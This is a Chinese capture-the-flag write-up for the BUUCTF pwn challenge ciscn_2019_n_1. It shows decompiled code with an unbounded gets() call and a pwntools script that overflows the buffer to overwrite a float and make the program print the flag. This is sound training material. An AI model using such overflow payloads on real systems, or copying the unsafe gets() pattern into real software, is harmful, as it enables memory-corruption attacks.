buuctf pwn ciscn_2019_n_1 wp

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf pwn ciscn_2019_n_1 wp相关的知识,希望对你有一定的参考价值。

一、考点

  • 栈溢出
  • 浮点数的十六进制表示

二、题目

这是buuctf中的一道pwn题,题目见下图:
在这里插入图片描述

三、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
在这里插入图片描述

3、IDA静态分析

拖入IDA进行静态分析,主函数main为:

int func()
{
  int result; // eax
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

if判断条件v2为11.28125时,才能进入打印flag的代码system(“cat /flag”)。gets(v1)为从终端读入字符串到缓冲区,v1的地址为rbp-30h,将v2覆盖为11.28125时,即可让if判断为真,从v1到v2之前需覆盖0x30h-4h共44个字节。
打开浮点数到十六进制数转换的网站
转换后的值为0x41348000:
在这里插入图片描述

4、编写exp

根据IDA中的分析,覆盖v2前需填入44个任意字符,而后填入11.28125对应的十六进制数。

from pwn import *

r = remote('node3.buuoj.cn', 28914)
r.recvuntil('number.\\n')
payload = 'a'*44 + p32(0x41348000)
r.sendline(payload)
r.interactive()

运行该脚本后,得到flag:
在这里插入图片描述

以上是关于buuctf pwn ciscn_2019_n_1 wp的主要内容,如果未能解决你的问题,请参考以下文章

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

buuctf@pwn1_sctf_2016

ciscn_2019_n_1

ciscn_2019_n_3 Writeup

buuctf.pwn.warmup_csaw_2016

[BUUOJ记录] [CISCN 2019 初赛]Love Math